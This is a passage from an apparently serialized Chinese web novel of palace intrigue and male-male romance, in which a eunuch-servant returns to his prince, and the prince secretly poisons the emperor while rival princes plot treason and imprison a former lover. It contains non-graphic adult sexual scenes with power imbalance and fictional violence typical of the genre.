眉头紧皱,暗卫道:“我欺负你了?” “二皇子欺负你你倒是不痛不痒不哭,我说什么了?” 方闻钟要挣开他,偏暗卫还抓得紧,他一下气不过咬上他带着手套的手,就咬在他露出来的半根手指上,咬紧牙关不放松,“你讨厌我就别招惹我,我不要你管了。” “以后,以后,”他说着气话,怒气冲冲对暗卫,“也不用你再保护我。” 萧疏摸着被咬疼的指尖,轻笑出声,他知道,小孩子只有在真正关心他会永远保护他的人面前,才会亮出利爪,说这样的气话,方闻钟现在就是如此,其实他压根没有自保能力,暗卫走了,他也会怕,也可能很快曝尸荒野,但谁叫他想争一口气呢。 那双执拗委屈的眼神,萧疏看在眼里。 “不讨厌你,”他平静说:“你喜欢和谁在一起粘着谁也没关系。” “真这么想二殿下?” “我会把你尽快送到他身边。” 方闻钟愣了,“你,你没有瞧不起我?” “没有。” “你会嫌我是双性人,恶心吗?你会私下里排斥我吗?” “不会。” “哥哥,我可以还叫你哥哥吗?” “可以。” 萧疏决定,在哪一个身份,就干哪一个身份该干的事,不要越界,暗卫的他,只有私下里保护好他。 二皇子的他,爱方闻钟也好,利用他也好,此时此刻,他应该认清身份。 方闻钟的委屈不满终于散了,他越发觉得他在暗卫面前有点使小性子,这种感觉,怎么说呢,有点像以前家人还在时,他会做出来的事…… 两道身影紧紧相贴,他们昼夜不停地赶路,终于在七日后到达京城。 暗卫就要和方闻钟分开了,分开前,方闻钟最后又问了一遍:“你到底是谁派来的?” 谁想保护他?谁知道他的身份,还知道他和太子有仇进宫的目的? “是,是二殿下吗?”方闻钟问出这个颤抖的答案。 暗卫却摇头。 方闻钟垂下身体,“皇上?” “不是。” 方闻钟实在想不到了,宫里所有人都被暗卫否认了身份,最后只剩,“爹爹?” 暗卫沉默了。 “真是爹爹吗,你见过他?你认识我爹爹?” 方闻钟抓住暗卫的胳膊,急忙道:“我爹爹临死前还见过你吗?” 可接下来暗卫什么都不愿意说了,又和他刚开始一样,不愿意交代。 方闻钟进宫,暗卫离开,他们猝不及防地分开,萧疏转身。 的确不是二皇子吩咐的,是他自己来的,他的回答有错吗?没错。 他见过方大人吗?见过,这也没错。 萧疏:“欢欢,我会给你一个让你满意的答案。”【你现在阅读的是 】 70-80 第71章 沉溺温柔 暗卫遵守诺言,把方闻钟送到宫中,他就消失了,方闻钟回到了二皇子身边。 “欢欢,过来,”二殿下正坐着轮椅品酒赏花,他倒是过得潇洒,一见到方闻钟背着个被查验过的小包袱回来,朝他招了招手。 方闻钟自从看到二殿下,眼睛都不会眨了,也不看脚下的路,路过跟他打招呼笑脸相迎的胖太监师父,也忽略过去,直直往殿下身边走。 走到殿下面前,他还没来得及跪下禀报,萧疏突然站起身,一下把他抱在怀里抱起来! “啊!”方闻钟惊了一大跳!这里还这么多人。 他紧紧抓住萧疏胸前的衣服,脸颊迅速红了,眼睛湿漉漉的,朝四周看看,小声说:“殿下,你的腿?” “不妨事,这些日子已经好了,怎么,欢欢还想再踹一下。” 屁股上挨了一巴掌,方闻钟喏喏:“不敢。” 进去殿内,被扔在软榻上,方闻钟积攒了好多话要说,他也以为萧疏第一时间会问他事情办得怎么样,谁料先是沉重蹂躏的亲吻落下来,萧疏的吻像要将方闻钟拆穿入腹,灼热又沉沉的热切。 一吻亲完,方闻钟急促地呼吸,胸膛起伏,身体软得不成样子。 萧疏先是用手指蹭着他唇边的口水,然后将他扶起来抱在腿上。 面面相对。 “信交给我大哥了?” “嗯,我给大皇子了,私下偷偷给的,没有被发现。” “欢欢这么厉害?”萧疏挑眉,“你来的比我预想的早,看来是用了最短的时间来回,欢欢真棒!我大哥有说什么吗?” 被夸了,方闻钟心下开心,“大皇子应该有把握,他说近来边关会打仗,之后他会尽快赶回来。” “那就好,老六这段时间可是不安分的紧。” 提到六皇子,方闻钟生气,他在边关真见到探子了,对六皇子通敌叛国的事不再怀疑,他真的会和敌国合作,将来夺取皇位吗? 这个问题方闻钟只有随便想想的份,殿下应该心中有考量。 “欢欢,”萧疏突然往上颠了一下右腿,方闻钟瞬间抓住他肩膀,“没有辜负我的信任,想要什么奖励?” 萧疏的眼神认真又鼓励地看着他,嘴角带笑,他的手还在后面按着他的腰。 方闻钟很害羞,虽然路上想到了,他没有辜负二皇子的所托,回去后殿下应该会很开心,但没想到殿下会亲口提出来要奖励他。 他摇头,“没有什么想要的。” “真的?” “嗯,”现在他就很知足。 “去边关的路上有遇到什么事吗?” 萧疏将方闻钟放在桌子上,上半身压下去。 “没有,”方闻钟躺着,身下有点硬还有点冰凉,“我就一直骑马,一直骑马,”他撒谎道:“我骑马很快的,十多日就到边关了,我记着路。” 不提客栈杀人,不提船上遇袭,不提暴风雨中的坚持,不提扮成乞丐的挨打。 萧疏忽然抬头看了他一眼,退下亵裤,果然,腿内侧布满了骑马留下来的伤疤,一大片,之前就没完全好,后来又骑马那里生长出了新肉却还布满痂痕。 淩乱错落,第一眼有点丑陋和害怕,暴露在萧疏眼里方闻钟一下慌忙地想坐起来直起身子,不给二殿下看。 萧疏轻轻松松压制他。 手放到伤痕上。 很痒,很难受,方闻钟心里跟猫挠似的,他开始乱动腿。 “别动,”萧疏声音冷下来,方闻钟也冷下来了,不敢再动,他原还想着,殿下是不是要与他做那事,可是突然看到自己腿内侧的疤痕,他肯定嫌弃吧,方闻钟也觉得难看,其实不怎么疼了,或者说他已经习惯了,竟然忘了。 现在露出来,他抬起胳膊捂住眼睛,不去看殿下的表情,一滴泪滑落在桌子上。 突然,一个很轻柔的接触落在疤痕上,让他以为那是错觉,他惊愕地抬头,竟发现!竟发现! 殿下在亲他的伤疤! “啊……”方闻钟骤然哭起来,明明不委屈,明明不难受,明明被珍视着好好对待了,他却突然哭得不知所措,连萧疏也理解不了他怎么突然爆发了。 抚慰过那些留下来的疤痕,他给方闻钟最好的药,安慰他,“放心,涂抹几日,会好得很快,不过或许会痒,难捱一些,”萧疏替他打理好衣服,“欢欢能承受吗?” “不能,”萧疏拉起人,嘴唇贴近他耳朵,说脏话,“我用其他方式给你止痒啊。” 方闻钟不哭了,羞的,被萧疏一句话吓出了打嗝。 萧疏笑了,他很不好意思。 后续,萧疏问他这一路可有见到什么学到什么,他踌躇到,学会了杀人算吗? 学会了耍心眼算吗? 萧疏手撑着额头,任他躺在旁边来回犹豫。 萧疏曲指弹了一下他额头,“说与我听听,若是有趣的话,答应你一件事。” 方闻钟有些小小心动,最后他抱着萧疏的手臂趴到他耳朵边轻声说:“我不小心杀了一个人,我还见到好多死人。” 他眼睛圆圆地睁着。 萧疏听闻,“长进了,不错,这算一件。” 萧疏清楚,方闻钟不会多提暗卫一个字,也不会多说回来的路上遇到太子追杀了,顶多试探地提起去的时候遇到坏人,他勇敢出手,这还试探着他的态度。 一打开口子,方闻钟就忍不住跟二殿下分享,什么他在路上吃什么啊,遇到了哪些好人坏人,边关的风景之类的,都是小事,遇到怀孕男子是双性人,想把他献给县令的事方闻钟像忘记了,萧疏却替他记得。 “在固城停留了?我收到了你的信。” “嗯?”方闻钟想起来了,对哦,他给殿下写过一封信,殿下收到了还记得! 他只恨自己当初为什么没多写一点,就写了那么几个字,那是他们唯一一次通信的机会啊。 “你觉得固城怎么样?”萧疏问。 “还好吧,”方闻钟低头捏着自己的手指,“不过当地民风好像不是很好,是不是跟父母官有关?”他抬头,暗戳戳告状。 “是吗?”萧疏答应他:“那后续换个父母官好了。” “真的吗?”方闻钟惊喜。 “嗯。” “殿下真好,”方闻钟不小心把心里话说出来了,“这就好了,”萧疏拖下方闻钟压在下面重复之前在做的事,边亲他耳朵边说:“记得欢欢,我答应了你一件事。” 方闻钟断断续续地哭起来,实在难以承受的时候他也会挠萧疏,会大胆亲他脸颊。 萧疏很凶狠,他覆在背后一手五指交叉压住方闻钟的左手,边动作边狠狠地转着他指尖的戒指在玩儿,方闻钟感觉自己的手指都快被捏碎了。 方闻钟不让萧疏弄里面,他怕怀孕,拒绝萧疏时,萧疏沉默,方闻钟以为他会生气,随便找的藉口真烂,但萧疏下一秒将他翻了个身,在后面不死不休。 皮肤烧起来,嗓子哑掉叫不出来,方闻钟沉溺欢愉,也沉溺独属于萧疏的温柔安慰,他藉着这种事哭起来。 脑海里回想起曾一路好几次险些回不来,险些在心里做好了和殿下不告而别他独独死去的准备。 “殿,下。”他叫道。 他真的好舍不得萧疏。 “嗯?”萧疏声线慵懒,放过他从榻上下来,好似雄鸟在给自己虚弱的雌鸟找水喝。 萧疏拿起方闻钟小包袱里一个白色的贝壳,“这是什么?” “大老远带来的?还挺好看。” 他举起来,如此随意平淡地说道。 方闻钟爬在榻上,侧着头看他,嘴唇湿漉漉软乎乎的,听到萧疏无意间的话,红润的唇弯起漂亮却无声的笑。 殿下收到了他的心意。 他没有嫌弃它。 一场持续已久的发泄,直到回来的第二日才结束,方闻钟起来时觉得宫里还是那个样子,他在二殿下这里慢慢住出了熟悉的感觉,连胖太监师父也对他关爱有加,给他存些好吃的点心,“欢欢啊,你一来,殿下都开心了。” 前些时日,殿下有点不一样,伺候的胖太监心里没底。 他其实说的是替身‘萧疏’,但方闻钟不知情。 要说宫中暗地里还发生了一件大事,那就要算独自来找六皇子的贺璋。 他被六皇子暗地里囚禁起来了。 贺璋自从六皇子大婚后,情绪低落,但后来越想越不对劲,六皇子为何突然与他断了联系,连明面上正经的朝事也是如此,不应该,六皇子最近在做什么? 贺璋有种诡异的直觉,虽然朝中好像看起来没什么大事,但他知道,这不符合萧琛的风格。 吃了亏,他绝对不会简简单单咽下去,在皇帝面前表现出无害的样子,那不过是他的伪装罢了。 所以萧琛是如何打算?要把他排除在外? 抱着这样一丝探究和关心的心思,贺璋决定来六皇子这里一探究竟。 结果,起先让他看到震惊不已的,是六皇子妃,曾经大婚之上敢给太子抛媚眼,敢不顾六皇子面子的女子,现在像一个傻子一样蜷缩在宫里,见到贺璋来时,她吓得缩在角落里。 地上,全是打碎的茶盏,六皇子妃手里抱着一块脏兮兮的点心,那好像是她吃的东西。 贺璋心里难受极了,眉头紧紧皱起,为何会这样,伺候的人呢? 可很快他心下明了,没有萧琛的纵容,谁敢这样欺负六皇子妃。 他死死捏着手指,并且,对这个结果,萧琛能干出来,好像并不让他意外。 他走到六皇子妃跟前,开始,女人很怕他,后来可能察觉到他不是这里的人,惊愕地抬起头,然后手指死死抓住他的衣服。 贺璋还看到,女人手指甲缝里都是淤血。 他还未来得及做什么,萧琛进来了,他身边还跟着一个人。 这就是让贺璋第二件震惊极了的事,那个低着头的男人,不是前些时日里,来和亲的王子身边的一个谋士吗。 他为何会在这里?! 那时,贺璋跟着萧琛见过此人,现在才如此吃惊心下大动,他在萧琛身边究竟在密谋着什么? 或者说,萧琛,在和敌国王子有什么牵连? 贺璋猛然看到萧琛手里的一些信件,还有一个敌国的信物,他心沉甸甸的,可千万别是他想的那样? 萧琛见到贺璋倒是愣了一下,很快板起脸,那个谋士从中撺掇,“六皇子这里若是随便任人进出,那我们的大事也没有密谋的必要了,”他压着声音道,意思是把贺璋杀了。 贺璋藏在袖子里的手,紧紧攥住,萧琛,在干什么? 他和敌国王子达成了什么计画? 让一个敌国谋士出现在他身边,现在讨论著他的生死。 萧琛先让谋士退下了,“不用担心,”贺璋他会处理。 两人到书房,贺璋急切地道:“萧琛,你知不知道你在干什么!” 他快跑到萧琛的书桌前,萧琛抬着毛笔,此刻抬头,他陌生的眼神让贺璋顿在原地,“哦?贺大人有何高见,你认为我在干什么?” 贺璋以为萧琛还在和他打哑谜,忍不住又劝,正如他了解萧琛,所以知道萧琛此刻谋划的,必然是通敌叛国的打算,贺璋激烈道:“你有没有想过你背后的魏家,有没有想过天下黎民,这是你萧家的天下!你真的要让别人的铁骑踏进来吗!” 他怒目而睁,两只手拄在萧琛桌子上。和萧琛志同道合,曾谈天说地论文论策,什么都说得来的贺璋,接受不了萧琛现在的行为。 所以他生气,他敢对一个皇子指着鼻子大骂,“你对得起你读的圣贤书吗!” “啪!”一巴掌结实地掌掴过来,贺璋偏过头,愣了许久。 萧琛起身,走到他身边围着他转了半圈,声音里藏着不可违逆的狠毒和霸道,“贺璋,你以为你算个什么东西,被我宠幸过一段时间就敢来我这里造次了,真若不想活了,我马上让你去死。” 贺璋难以置信地抬头,眼眶迅速发红,他很难想像,萧琛会这么快对他说出这种话。 他一直知道他们的身份不对等,也一直知道,萧琛表面看平易近人,实则他身上的皇子威严和架子,比太子比二皇子还足。 他就那么脆弱地流下泪来,“若你执意如此,那便杀了我,不然,不然,”贺璋死死闭上眼。 “不然你要去找谁说?”萧琛越发愤怒,抓住贺璋的脖子,抵着他后退好几步,“你是想告诉父皇啊还是告诉太子?” “贺璋,你对得起我吗。” 贺璋不想再说话。 他被萧琛囚禁起来了,知道了他的秘密,还对他不忠,萧琛不会让他在外任意行走。 理论上,探花郎贺大人,被他派去外地干活了。 今日,萧琛来看贺璋,他提起道:“那个双性太监回来了,探亲一趟,二哥倒更宠他了。” 贺璋猝然睁眼,探亲,方闻钟还哪来的亲可探?是不是二皇子派他出去做什么了,贺璋不免多想,看着萧琛眼里,倒是贺璋对那太监关心不少。 他气得一脚踢在贺璋腿上,“你和他到底什么关系?当初放他进宫,真的不是为了便宜你自己?” 萧琛猜忌着贺璋,贺璋的不配合,让他心中一直有一股戾气消不下去,尽管,一开始他便有直觉,这件事不方便让贺璋参与,但被发现了贺璋果然站在他对立面,还是让他暴虐不已。 他拿方闻钟威胁贺璋,“再敢动什么心思,我让那个太监不声不响地死在宫里。” “你以为我二哥真能护得住吗?人脏了死了被糟蹋了,二哥难不成还会因为一太监跟弟弟过不去?” 贺璋害怕萧琛真对方闻钟下死手,贺璋更不敢说方闻钟是方知府的儿子,是太子一直找的人。 就让萧琛误以为,他就是个普通小太监,是他的朋友吧。 贺璋闭上眼,人生该往何处去…… 贺璋躺在潮湿的地面上,奄奄一息地看着门打开,又关上,那一丝明亮迅速消失不见,曾经他喜欢的人,变成了现在折磨他的恶魔。 贺璋沉默,终有一天他会低头,他这样想着,只不过低头是虚情假意还是真心的,就很难说了。 贺大人睁开眼睛,眼里的迷茫痛苦渐渐散去,他有不可破的底线和骄傲,那便是萧琛,也不能践踏的东西。 方闻钟躺在软椅上睡着了,胖太监过来欲叫醒他,让他伺候殿下给殿下扇扇子呢,怎么他先呼呼大睡,扇子扇着扇着就盖自己脸上,揭开扇子,人还微张着嘴巴,很是香甜。 胖太监怒气冲冲,他们的主子萧疏,倒是在旁边笑得不可自已。 “我们欢欢累了,睡一会儿怎么了,要不我替你扇扇?” 方闻钟立马被吓醒了,噗通跪在地上,还不小心扒拉了一下萧疏的腿,师父走了,萧疏弯腰,让他起身,偷偷说:“昨晚沐浴累着了?” 方闻钟瞬间脸红,偏过头梗着脖子不说话了,殿下很过分,说他腿疼,让他自己动。 方闻钟想休息,萧疏命令不让,他就那样一边啜泣一边还要遵守命令自己来,一整夜,水凉了又换,换了再换,今天一早,方闻钟腿僵硬地站不起来合不上。 “起来吧,今日做的全是你爱吃的菜,午膳时多补补。” 方闻钟很快被哄好了,立马开心起来。 日子越过越舒适,殿下这里的其他下人,嘴巴很严,看到什么不该看的全当不知道,但心里清清楚楚,方闻钟和他们不一样,他们把‘欢欢’太监,当半个主子伺候着。 连胖太监师父也是,说欢欢两句都要看脸色。 这全是萧疏的纵容和放权,方闻钟在这样的环境里,越来越懒散、真实,他慢慢觉得,他可以和二皇子这样过一辈子。 很甜蜜。 方闻钟幻想着,冬日里他们要做什么,去贤妃的院里堆雪人,春日里种花,夏天去池塘抓鱼,他很会抓鱼,秋天,秋天适合晒太阳,养养膘,殿下身体不太好,方闻钟笑地禁不住表现在脸上,对于向太子报仇一事,对于方家的清白,他不再愤世嫉俗地立马要去杀了太子!同归于尽! 他甘愿又放心地把一切交给二皇子,他相信殿下最后会达成他的目的,顺便也帮自己报仇的。 方闻钟突然想到了账本,他藏起来的东西,或许,或许。 他可以考虑交给萧疏。 就在方闻钟轻飘飘的连走路都很欢快时,他不小心走入二皇子宫内另一个地方,里面全是女人,好几个女子。 方闻钟愣了一下,诧异地拉住一个宫女,问道:“她们是什么人?” 看到问话的是殿下身边的红人,宫女不敢不说实话,答道:“殿下前些时日宠幸了些女子,但不给她们份位,便先在这偏殿里住着。” 方闻钟的手无力地突然垂下来。 后来他还问了师父,他不想相信,却无法不在意,心头梗着好些刺,令他酸涩不已,师父说:“你不在的时候,殿下是叫人夜夜侍寝,平日里也不大出来,怎么了?” “欢欢啊,师父要跟你说一句,不可仗着自己的身份,生出妒忌的心。” 胖太监瞥了他一眼。 在他眼里,欢欢是个双性太监,顶多让殿下多宠些时日,殿下平日里宠幸女子怎么了,欢欢敢有什么想法?敢冒出什么不恭敬的念头? 那往后还有正妃侧妃呢,欢欢说不定要去她们面前跪着伺候好还要规规矩矩行礼。 方闻钟如坠冰窖,他自恃什么身份? 是啊,他不过是个被殿下因身体原因特殊喜欢的太监罢了,怎么,怎么敢妄想一日独占殿下? 方闻钟不想哭的,可表情越平静眼泪越控制不住,他很快告别师父,独自躲在房中。 白日里的幻想,真像白日做梦,这么禁不起考验,一戳就破。 方闻钟被突如其来的卑微情绪淹没,其实,就算他不是太监,就算他和二殿下宫外相遇,他也没法和他相伴一生的。 他们无法长相守,没办法,方闻钟无声哭泣,茫然无措,摇着头否定自己,顶多,以后他一直当二殿下身边规规矩矩的小太监,然后终有一日,看二皇子妃,甚至还有侧妃,一起进宫。 方闻钟头一次认真想这件事,他以前是不是太傻了点啊,这么迟钝。 近些天的欢喜不是往后甜蜜的开端,而可能是不知道什么时候会结束的恩赐,方闻钟擦掉眼泪,他突然想去见萧疏,想和殿下说句话,但怕一说,他就泄气了,在他面前被发现。 那就再躲躲,明日再见殿下吧。 方闻钟今天没再见到二皇子,倒是见到了太子和六皇子,他们距离他挺远,两人虚假地客套又对峙,他生出厌恶的目光。 太子尚不知他的杀手们曾追杀过方闻钟,因为人全被碎尸万段了,没一个活口回来禀报。 六皇子也不知他的计画早早被二皇子知晓,现在大皇子萧恪那边也做好了准备,就准备他们自投罗网,瓮中捉鼈。 六皇子擦了擦手,扔掉一块带血的帕子。 方闻钟也不知道,那块帕子上沾着的血,是萧琛鞭笞贺璋,贺哥哥身上的。 第72章 裹着蜜糖的算计 二殿下的书房内,曾经出现在青楼的那个替身,现在摘下面具,恢复自己原本的面貌和声音,在和萧疏说话。 萧疏自从培养他开始,就将他一直放在益州,除非特殊情况,才会来京城。 “殿下,”他平静地禀报着重大的事件,“太子的私兵已收入囊中,军中人马和消耗都记录在册,这是新的账本,”他递上来。 萧疏翻开看着,“方知府发现的那个呢?” “只查到方知府临死前很早就交给方闻钟了,彼时,方闻钟不知道里面有什么,后来方知府死后方闻钟才知晓账本的重要性,太子那边也因为这个时间差,没抓到方闻钟,也不确定方知府最后是否将东西交给了别人。” “你说,欢欢会将它藏在哪儿?”萧疏嘴角牵起一抹危险的笑。 替身答道:“还未查到。” 萧疏回以他冷漠的视线,“不用查这个。” 这是萧疏在宫内,第一次以二皇子的身份正大光明提起方闻钟的名字,提起方知府的身份以及他们家和太子的渊源,方闻钟若听到,必然会不寒而栗,二皇子对他的一切都尽在掌握,而他还自以为瞒好了身份。 萧疏收起新账本,气定神闲地说:“方闻钟手里的那本,我自然会钓出来的,不过他还有大用处。” 该收网了,任由棋子们自由发挥到现在,该他上场了。 替身惊讶道:“殿下,你是要拿方闻钟做诱饵吗?诱使太子和六皇子上鈎?尽数铲除他们?” 因为他某时候是作为‘萧疏’存在,所以替身说话比较大胆,也知晓甚至能猜测出萧疏下一步的计画。 萧疏眼神冷冰冰地望过来。 替身心下一颤,明明,要算计那个太监的是殿下自己,殿下却不允许别人这么说。 替身想起了他第一次见方闻钟的样子,那时候他叫欢欢,穿着女装聪明又乖巧,明知道二殿下要利用他,还是听话照做。 这次,他也会听话吗? 但这次可比较危险,有很多不确定性,拿他手里的诱饵钓鱼,钓上来的太多了也可能会被反噬…… 替身心里想得多,忽闻殿下提起另一件事,萧疏在烛火中烧掉一封密信,最后甩了甩手,“听闻你前些日子招了不少女子侍寝?夜夜笙歌?” 替身一惊,沉默半晌后给出他认为没错的答案,“这样不会让人怀疑,减少出去见到其他皇子的机会。” 萧疏语气凉凉,“办法是个好办法,不过可给我惹了不少麻烦。” 替身有些疑惑,他又没真宠幸那些女子,那些女子被拿捏着性命也不敢说,对殿下而言有何麻烦? 萧疏却道:“没事了出去吧,”不让他再猜测了。 替身不再想,迅速消失在这里,没有其它任何人发现。 他刚走,没一会儿方闻钟就磨磨唧唧地来了。 他心里还结着疙瘩,昨夜睡得也不好,竟梦到殿下不要他了,很快有了别的女人,那女人还仗着皇子妃的身份要处死他!要烧死他! 方闻钟今早被吓醒了,殿下叫他前去伺候,他磨蹭着好久不愿意去。 萧疏见到他,玩笑问:“这是受什么委屈了,让我们欢欢闷闷不乐?” 被殿下一眼看出心情不好,方闻钟更闷了,但这种事无法说出口,他沉默地伺候着殿下写东西,研墨的手机械地来回动,忽然,低头看到殿下写了两个字,他的乳名,欢欢。 萧疏本来打算写方闻钟的,但一想还是算了。 那样方闻钟估计会被他吓死,他在心里笑道,接下来要利用欢欢了,现在哄着点他怎么了。 “坐下,”萧疏让人坐他腿上,方闻钟却不愿,他今天不知道为什么,扭捏着挣开萧疏的手,萧疏发沉的眼神看过来,他一着急,就半真半假说大话,“你,你身上有女子的香味,不好闻。” 方闻钟说完,才如坐针毡,好不安稳,尤其萧疏先是斜晲了他一眼,然后回头继续写东西,嗤笑了一声。 屋内的沉默让方闻钟有点紧张害怕,他身上开始冒冷汗,于是萧疏紧接着问一句话,他没反应过来尚未思考就脱口而出了。 “见过那些女人了?” “嗯。” 方闻钟:“……” 他偷偷看萧疏,萧疏把那张写着欢欢的大纸拿过来,反手一把贴他额头上,看都不看,方闻钟赶紧接住,墨迹未干,在他脸上霎时画成了花猫。 他愣住,萧疏回头一看,也笑了,并且笑得很大声。 方闻钟又委屈,又在他的笑声感染下也忍不住嘴角弯弯。 他真的好不值钱哦,殿下还未说什么呢,他就被逗笑了。 “你不在身边,我吃不着还不允许我看看?” 方闻钟:“?” 萧疏:“不过我发现,她们都没有我的欢欢好看,身上的香味我也不喜欢,”萧疏彻底转过头,盯着方闻钟,笑容明媚爽朗。 “没有碰她们,欢欢这么能妒忌?”他手指伸上来,一下一下替他蹭掉脸上的墨迹,“恐怕以后我的皇子妃都比不上欢欢让我欲罢不能了,你说呢?” 方闻钟不敢相信听到了什么,耳朵好烧,脸颊也好烫,心里像被泡在温泉里。 他忍不住抓住萧疏的大手,紧紧握住,“真,真的吗殿下?”殿下没有动那些女人? “骗你作甚?不然我也不至于忍了月余了,”他在说方闻钟去边关一趟,回来就难以再忍受,日夜折磨他。 方闻钟已经信了,因为他觉得殿下的身份没必要骗他一个小太监。 对哦,他还是太监,萧疏以后会娶妻的。 “殿下,”他垂眼失落,“你的皇子妃,是你自己挑选吗?还是皇上什么时候会给你赐婚?” “关心这个作甚,”萧疏对此不感兴趣,“若不是我喜欢的,父皇敢赐婚我也敢悔婚。” 方闻钟相信他的胆子,“殿下喜欢,什么样的?” 他凄凄切切。 萧疏一言不发地盯着他,许久不说话,方闻钟也不再说话。 他好像知道了答案,又好像是他自作多情,痴心妄想。 不过不重要,方闻钟忽然觉得,昨日以及夜里还有这一早上的烦闷,很快就被殿下几句话抚平了。 他对殿下而言,还是有点宠爱和特别的吧? 他心里笑嘻嘻,脸上不嘻嘻,装得同样深沉。 接下来,朝中突如其来被两件大事打得措手不及,第一!边关敌国进犯,几十万大军压入边境,本以为来势汹汹我方必然会吃大亏,谁料在抵死守关几日后,我军突然摇身一变,翻身做主,一下子把敌军打得四面开花! 敌军中了我们的圈套,数十万大军溃败,落花流水,逃出去的很少,这一下,直接叫敌国耗费大半元气。 因为他们是抱着必胜的决心和打算来的,一开始也节节开花,打败了我们,所以没有察觉到我方的圈套,诱敌入内,轻蔑大意,竟最后造成如此严重的后果。 当然,对本国而言,是大胜! 捷报传来,只有一个人死气沉沉跌坐在地,其他无不为之欢呼。 萧琛不可置信,甚至觉得捷报是不是萧恪骗人的,明明边关应该大败才对,这是他给敌国的第一个利益,敌国王室才会答应了后续出兵帮他夺权。 然而现在,萧琛被一场仗打懵了。 被打懵的不止有他,还有信誓旦旦势在必得的敌国王子,他都半场喝酒吃肉开始庆祝了,谁料萧恪神龙摆尾,转头给他一痛击!被痛打落水狗的成了他们!他们成了圈套中的王八。 一场胜仗彻底奠定了边关的安全,以及萧恪的地位,萧恪准备回京,虽然皇帝没有传召。 但他暗地里带兵回来了,就在路上。 萧琛还慌乱不及干什么时,另一件对举国来说都不是好事的事,又让他急如热锅上的蚂蚁。 皇帝病危,太医院那边查不出病症。 但皇帝器官衰竭,眼看没多少日子好活了,这时候,萧琛若还不采取动作,下一个登基的是谁? 他若还沉寂下去,一切幻想和准备就都泡汤了! 萧琛再给敌国王子许诺,给出三分之一城池,弥补损失,换来他们派兵,偷偷帮他直接夺下王城! 病急乱投医加上时间紧迫局势紧张,让萧琛没有更好的办法,虽然前些日子他的名声胜过太子被朝中诸多人支持,但太子名正言顺,皇帝也属意他,大臣们谁敢抗旨帮他明面上夺权? 没有兵马,只有文人相加,就是这点不好。 而且,文人最怕背上骂名…… 萧琛管不了那么多了,他宁可坐上皇位后,面临的可能是狼子野心喂不饱的敌国,也不愿谋划一场白费力气最后还是让废物三哥压他一头! 六皇子这边蠢蠢欲动,箭在弦上,太子那边也是如此。 他并不觉得皇帝会好好传位给他,没看到最近皇帝病重,只有萧疏被父皇允许近身伺候探视吗?父皇召集了那么多大臣,殿内密谋,谁知道父皇最后还会不会把皇位传给二皇子! 太子不敢保证,萧疏一直是他放不下的最大敌人,尽管,他已经瘸了一条腿,但太子不敢拿自己的未来去做赌,若是萧疏得逞,他相信,他活不过第二日! 又一次觐见父皇被拒绝后,太子阴沉沉地攥着手,出动私兵,这是他的最后打算。 他也有自己的筹谋,太子仰头得意,父皇,你果然不值得我信任,幸好他早做打算,其他兄弟们,也一一低估了他。 太子这边也准备动兵,若一朝成事,他反而会是名正言顺的那个,谁叫他一直是太子呢。 六皇子勾结外敌,是打算直接攻入皇城和所有人作对,而太子,他只想逼父皇同意。 就这样,在这两件事的加持下,局势千钧一发异常紧张,三边兵马从三条线赶入都城。 一方来自益州,一方来自敌国,还有一方。 黄雀在后,来自萧恪。 萧琛从宫内出来,皇帝打翻了装药的碗,全泼在萧疏手上,萧疏彷佛完全感觉不到烫,对着无法正常说话只能躺在床上怒不可遏的皇帝,“父皇不喝便算了,反正也药石无医。” 他说着大逆不道的话,听到的下人们一一垂头恭敬跪地,皇帝惊愕失色,萧疏,萧疏他这个好儿子,竟然已经对他身边控制到如此地步了吗? 本来皇帝从未怀疑过自己突然染病,是萧疏的作为,可现在,所有皇子们都被拦在外面,只有他一个人来侍奉,太医!宫人都听他的! 大臣们察觉不到他有异常,这还说明不了什么问题吗。 他急得口齿不清,气得眼球快凸出来,口水流下来,萧疏替他擦掉。 然后拉了拉被角,敷衍至极,“父皇还是留些力气,才好多活些时日,还有一场大戏等着父皇观赏呢。” 皇帝像第一次认识这个冷漠无情的儿子,他瞧他的眼神里没有一丝父子情怀,也没有君臣尊卑,甚至皇帝都看不出,萧疏是不是对他有怨,有恨,他对待他像一块陌生的皮肉骨头一样。 眼神冰凉的皇帝自己都心颤。 他想拉萧疏的手,想抚摸安慰他的瘸腿,想许下承诺把皇位传于他! 可萧疏只是强硬地制止他的动作,低头低声说:“有什么话,留着日后对我母妃说吧,对顾家说,想必他们都愿意听你的忏悔。” 皇帝无力地垂下手去。 萧疏离开。 说了要报仇,那就会报仇,弑君弑父又如何,他擦干净自己的手指。 那些皇帝虚伪的试探和打压,还历历在目,他没多受影响,但恶心得不轻,父皇,“呵,叫他几声也不怕折寿……” 随着这句话音一落,太医院对皇帝的医治又换了一种方法,吊着一口气就行。 宫内被二皇子掌握半数,太子和六皇子忙着争斗还未察觉,四皇子跃跃欲试,心思也不在这上面,唯有五皇子,安分,谨小慎微,在皇后跟前知道的不少,他注意到,二哥,并不甘愿沉寂下去,只看太子和六弟斗法。 无论谁上位,他只要一个闲散王爷的爵位就好,保住一条命就不错了。 萧琛和敌国王子重新谈好的条件,虽然表面看敌国王子答应了,用三分之一城池换来他们的兵马,但王子心下愤怒又不甘! 并暗暗发誓,一旦铁骑踏入王城,日后强占多少城池就不是六皇子说了算的。 这次边关打仗他们的确损失严重,萧琛推脱不是他的原因,只说必是他们在边关被萧恪提早发现了,王子也不确定究竟为何,看萧琛那么真情实感,他也没理由作弄他,所以王子只能忍下,让这件事过去。 然后慢慢讨回来。 无论萧琛骗没骗他都不重要,反正下一次,他一定会狠狠从他们身上咬下来一块巨大的肉,并且,迟早把这匹强敌,全吞下去! 王子指挥着兵马越来越近。 此时,贺璋突然和萧琛谈话,他提出愿意帮他,“事情已经到这个地步,我只能站在你这边。” 他这样说。 萧琛看着往日俊美无双的探花郎,如今憔悴黯然模样,他信了他的话,因为他觉得,贺璋心思还在他身上。 正如他所说,除了帮他,贺璋还能帮谁? 去帮太子眼睁睁看着他死吗! 然后,贺璋被放出了囚禁他的地方,换了一身衣服,宽大的衣服在他消瘦的身上甩荡,他提给六皇子的第一个建议就是:“你真要放敌国的兵马进城吗?至少,是以敌国的身份?” 萧琛懂了贺璋的暗示,人他可以要,可以利用,但不能明着告诉外人,他勾结外敌,直接夺权! 那样说出去太不好听了,他以后还如何坐稳皇位,如何面对天下悠悠众口。 萧琛采纳了贺璋的提议,并着手让他人去办,换套衣服换个伪装。 他还不信任贺璋。 贺璋貌似不太在意。 只要能出来就行。 这日,贺璋终于瞒过六皇子的耳目,偷偷接近萧疏,见到了方闻钟。 